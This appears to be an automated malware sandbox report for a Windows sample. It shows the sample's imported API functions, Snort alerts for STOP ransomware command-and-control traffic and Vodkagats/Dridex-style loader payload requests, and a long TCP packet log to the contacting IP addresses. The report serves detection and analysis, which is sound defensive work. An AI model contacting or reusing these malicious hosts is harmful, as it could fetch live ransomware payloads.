KERNEL32.dll	LocalCompact, GetComputerNameW, CreateHardLinkA, BackupSeek, GetTickCount, GetConsoleAliasesA, EnumTimeFormatsA, GetUserDefaultLangID, SetCommState, LoadLibraryW, GetLocaleInfoW, ReadConsoleInputA, WriteConsoleW, MultiByteToWideChar, GetTempPathW, InterlockedExchange, GetLastError, ChangeTimerQueueTimer, SetLastError, FindResourceExW, GetProcAddress, SetFileAttributesA, BuildCommDCBW, LoadLibraryA, LocalAlloc, GetExitCodeThread, AddAtomW, RemoveDirectoryW, GlobalFindAtomW, GetModuleFileNameA, GetOEMCP, GlobalUnWire, FindFirstChangeNotificationA, LoadLibraryExA, SetCalendarInfoA, GetWindowsDirectoryW, GetConsoleProcessList, GetVolumeInformationW, GetThreadLocale, GetSystemDefaultLangID, GetStringTypeW, OutputDebugStringW, EncodePointer, DecodePointer, IsProcessorFeaturePresent, GetCommandLineA, RaiseException, RtlUnwind, IsDebuggerPresent, HeapFree, HeapAlloc, ExitProcess, GetModuleHandleExW, WideCharToMultiByte, HeapSize, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, GetFileType, DeleteCriticalSection, GetStartupInfoW, CloseHandle, GetCurrentThreadId, GetProcessHeap, WriteFile, GetModuleFileNameW, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, GetEnvironmentStringsW, FreeEnvironmentStringsW, UnhandledExceptionFilter, SetUnhandledExceptionFilter, InitializeCriticalSectionAndSpinCount, Sleep, GetCurrentProcess, TerminateProcess, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetModuleHandleW, LoadLibraryExW, IsValidCodePage, GetACP, GetCPInfo, HeapReAlloc, LCMapStringW, GetConsoleCP, GetConsoleMode, SetFilePointerEx, SetStdHandle, FlushFileBuffers, CreateFileW
ADVAPI32.dll	DeregisterEventSource
WINHTTP.dll	WinHttpOpen

Possible Origin

Language of compilation system	Country where language is spoken	Map
Romanian	Romania

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/24/24-09:17:02.599383	TCP	2020826	ET TROJAN Potential Dridex.Maldoc Minimal Executable Request	49705	80	192.168.2.6	200.45.93.45
04/24/24-09:17:02.599383	TCP	2036333	ET TROJAN Win32/Vodkagats Loader Requesting Payload	49705	80	192.168.2.6	200.45.93.45
04/24/24-09:17:00.470779	TCP	2036335	ET TROJAN Win32/Filecoder.STOP Variant Public Key Download	80	49704	200.45.93.45	192.168.2.6
04/24/24-09:16:59.602333	TCP	2833438	ETPRO TROJAN STOP Ransomware CnC Activity	49704	80	192.168.2.6	200.45.93.45
04/24/24-09:17:00.474115	TCP	2036335	ET TROJAN Win32/Filecoder.STOP Variant Public Key Download	80	49703	200.45.93.45	192.168.2.6
04/24/24-09:16:59.295703	TCP	2020826	ET TROJAN Potential Dridex.Maldoc Minimal Executable Request	49702	80	192.168.2.6	186.147.159.149
04/24/24-09:16:59.295703	TCP	2036333	ET TROJAN Win32/Vodkagats Loader Requesting Payload	49702	80	192.168.2.6	186.147.159.149

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 24, 2024 09:16:51.594568014 CEST	49699	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:16:51.594619989 CEST	443	49699	172.67.139.220	192.168.2.6
Apr 24, 2024 09:16:51.594690084 CEST	49699	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:16:51.611258984 CEST	49699	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:16:51.611289978 CEST	443	49699	172.67.139.220	192.168.2.6
Apr 24, 2024 09:16:51.944700003 CEST	443	49699	172.67.139.220	192.168.2.6
Apr 24, 2024 09:16:51.944956064 CEST	49699	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:16:51.997765064 CEST	49699	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:16:51.997803926 CEST	443	49699	172.67.139.220	192.168.2.6
Apr 24, 2024 09:16:51.998867035 CEST	443	49699	172.67.139.220	192.168.2.6
Apr 24, 2024 09:16:51.998950005 CEST	49699	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:16:52.002222061 CEST	49699	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:16:52.044132948 CEST	443	49699	172.67.139.220	192.168.2.6
Apr 24, 2024 09:16:52.729461908 CEST	443	49699	172.67.139.220	192.168.2.6
Apr 24, 2024 09:16:52.729561090 CEST	49699	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:16:52.729592085 CEST	443	49699	172.67.139.220	192.168.2.6
Apr 24, 2024 09:16:52.729610920 CEST	443	49699	172.67.139.220	192.168.2.6
Apr 24, 2024 09:16:52.729651928 CEST	49699	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:16:52.729685068 CEST	49699	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:16:52.742969036 CEST	49699	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:16:52.742990017 CEST	443	49699	172.67.139.220	192.168.2.6
Apr 24, 2024 09:16:53.955465078 CEST	49700	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:16:53.955507040 CEST	443	49700	172.67.139.220	192.168.2.6
Apr 24, 2024 09:16:53.955609083 CEST	49700	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:16:53.961904049 CEST	49700	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:16:53.961916924 CEST	443	49700	172.67.139.220	192.168.2.6
Apr 24, 2024 09:16:54.289958000 CEST	443	49700	172.67.139.220	192.168.2.6
Apr 24, 2024 09:16:54.290148973 CEST	49700	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:16:54.294318914 CEST	49700	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:16:54.294329882 CEST	443	49700	172.67.139.220	192.168.2.6
Apr 24, 2024 09:16:54.294614077 CEST	443	49700	172.67.139.220	192.168.2.6
Apr 24, 2024 09:16:54.294681072 CEST	49700	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:16:54.303344965 CEST	49700	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:16:54.344158888 CEST	443	49700	172.67.139.220	192.168.2.6
Apr 24, 2024 09:16:55.068517923 CEST	443	49700	172.67.139.220	192.168.2.6
Apr 24, 2024 09:16:55.068607092 CEST	49700	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:16:55.068640947 CEST	443	49700	172.67.139.220	192.168.2.6
Apr 24, 2024 09:16:55.068681002 CEST	49700	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:16:55.068686962 CEST	443	49700	172.67.139.220	192.168.2.6
Apr 24, 2024 09:16:55.068728924 CEST	49700	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:16:55.068751097 CEST	443	49700	172.67.139.220	192.168.2.6
Apr 24, 2024 09:16:55.068803072 CEST	49700	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:16:55.068809032 CEST	443	49700	172.67.139.220	192.168.2.6
Apr 24, 2024 09:16:55.068852901 CEST	49700	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:16:55.068871021 CEST	443	49700	172.67.139.220	192.168.2.6
Apr 24, 2024 09:16:55.068921089 CEST	49700	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:16:55.069235086 CEST	49700	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:16:55.069252014 CEST	443	49700	172.67.139.220	192.168.2.6
Apr 24, 2024 09:16:55.432926893 CEST	49701	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:16:55.433017015 CEST	443	49701	172.67.139.220	192.168.2.6
Apr 24, 2024 09:16:55.433115959 CEST	49701	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:16:55.440207958 CEST	49701	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:16:55.440246105 CEST	443	49701	172.67.139.220	192.168.2.6
Apr 24, 2024 09:16:55.770489931 CEST	443	49701	172.67.139.220	192.168.2.6
Apr 24, 2024 09:16:55.770592928 CEST	49701	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:16:55.775417089 CEST	49701	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:16:55.775440931 CEST	443	49701	172.67.139.220	192.168.2.6
Apr 24, 2024 09:16:55.775715113 CEST	443	49701	172.67.139.220	192.168.2.6
Apr 24, 2024 09:16:55.775765896 CEST	49701	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:16:55.777446985 CEST	49701	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:16:55.820123911 CEST	443	49701	172.67.139.220	192.168.2.6
Apr 24, 2024 09:16:56.542256117 CEST	443	49701	172.67.139.220	192.168.2.6
Apr 24, 2024 09:16:56.542334080 CEST	49701	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:16:56.542362928 CEST	443	49701	172.67.139.220	192.168.2.6
Apr 24, 2024 09:16:56.542412996 CEST	49701	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:16:56.542515039 CEST	443	49701	172.67.139.220	192.168.2.6
Apr 24, 2024 09:16:56.542598963 CEST	443	49701	172.67.139.220	192.168.2.6
Apr 24, 2024 09:16:56.542645931 CEST	49701	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:16:56.542766094 CEST	49701	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:16:56.542779922 CEST	443	49701	172.67.139.220	192.168.2.6
Apr 24, 2024 09:16:59.014580011 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:16:59.257811069 CEST	49703	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:16:59.258512974 CEST	49704	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:16:59.295192003 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:16:59.295411110 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:16:59.295702934 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:16:59.601452112 CEST	80	49704	200.45.93.45	192.168.2.6
Apr 24, 2024 09:16:59.601494074 CEST	80	49703	200.45.93.45	192.168.2.6
Apr 24, 2024 09:16:59.601768017 CEST	49704	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:16:59.602118969 CEST	49703	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:16:59.602153063 CEST	49703	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:16:59.602333069 CEST	49704	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:16:59.626327038 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:16:59.994486094 CEST	80	49704	200.45.93.45	192.168.2.6
Apr 24, 2024 09:16:59.994524002 CEST	80	49703	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:00.202002048 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.202055931 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.202265978 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.202296972 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.202339888 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.202389002 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.202438116 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.466192961 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.466269016 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.466733932 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.466784000 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.467313051 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.467364073 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.467787981 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.467839956 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.468277931 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.468331099 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.468817949 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.468887091 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.469213009 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.469261885 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.470778942 CEST	80	49704	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:00.470792055 CEST	80	49704	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:00.470835924 CEST	49704	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:00.470864058 CEST	49704	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:00.470928907 CEST	49704	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:00.474114895 CEST	80	49703	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:00.474126101 CEST	80	49703	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:00.474169016 CEST	49703	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:00.474230051 CEST	49703	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:00.720765114 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.720786095 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.720876932 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.721354008 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.721369028 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.721415043 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.721788883 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.721837044 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.721853018 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.721868038 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.721904039 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.721924067 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.722376108 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.722388983 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.722420931 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.722438097 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.722939014 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.722982883 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.723258018 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.723304033 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.723467112 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.723510027 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.723691940 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.723732948 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.724153996 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.724198103 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.815246105 CEST	80	49704	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:00.816128969 CEST	80	49703	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:00.972687960 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.972837925 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.972954035 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.973014116 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.973442078 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.973520041 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.974121094 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.974159956 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.974174023 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.974205971 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.975604057 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.975668907 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.975764990 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.975814104 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.976213932 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.976269960 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.976562977 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.976614952 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.976778984 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.976834059 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.976969004 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.976980925 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.977021933 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.977255106 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.977303028 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.977840900 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.977890015 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.978347063 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.978400946 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.978773117 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.978821039 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.979327917 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.979374886 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.979923964 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.979970932 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.980014086 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.980073929 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.980346918 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.980392933 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.980479956 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.980525017 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.980839014 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.980886936 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.981365919 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.981412888 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.981432915 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.981477022 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.981704950 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.981736898 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.981755972 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.981780052 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.982239008 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.982296944 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:00.982312918 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:00.982361078 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.225743055 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.225768089 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.225817919 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.225856066 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.226048946 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.226102114 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.226468086 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.226520061 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.226939917 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.226994038 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.227519989 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.227530956 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.227572918 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.227870941 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.227883101 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.227916956 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.227943897 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.228308916 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.228354931 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.228404999 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.228451014 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.228853941 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.228899956 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.229367971 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.229414940 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.229702950 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.229729891 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.229758978 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.229769945 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.230511904 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.230561972 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.230698109 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.230745077 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.231348991 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.231399059 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.231530905 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.231575966 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.231823921 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.231868982 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.231996059 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.232038021 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.232039928 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.232075930 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.232323885 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.232397079 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.232593060 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.232634068 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.232775927 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.232819080 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.232831955 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.232875109 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.233031988 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.233077049 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.233223915 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.233269930 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.233504057 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.233549118 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.233678102 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.233724117 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.233741045 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.233786106 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.234015942 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.234060049 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.234204054 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.234250069 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.234570980 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.234615088 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.234744072 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.234787941 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.235003948 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.235047102 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.235214949 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.235260963 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.235285997 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.235323906 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.235522985 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.235567093 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.236224890 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.236273050 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.236598015 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.236644030 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.237124920 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.237169027 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.237565041 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.237610102 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.237726927 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.237770081 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.237775087 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.237812996 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.238158941 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.238204956 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.238225937 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.238269091 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.238559961 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.238606930 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.238743067 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.238790035 CEST	49702	80	192.168.2.6	186.147.159.149
Apr 24, 2024 09:17:01.239094973 CEST	80	49702	186.147.159.149	192.168.2.6
Apr 24, 2024 09:17:01.239139080 CEST	49702	80	192.168.2.6	186.147.159.149
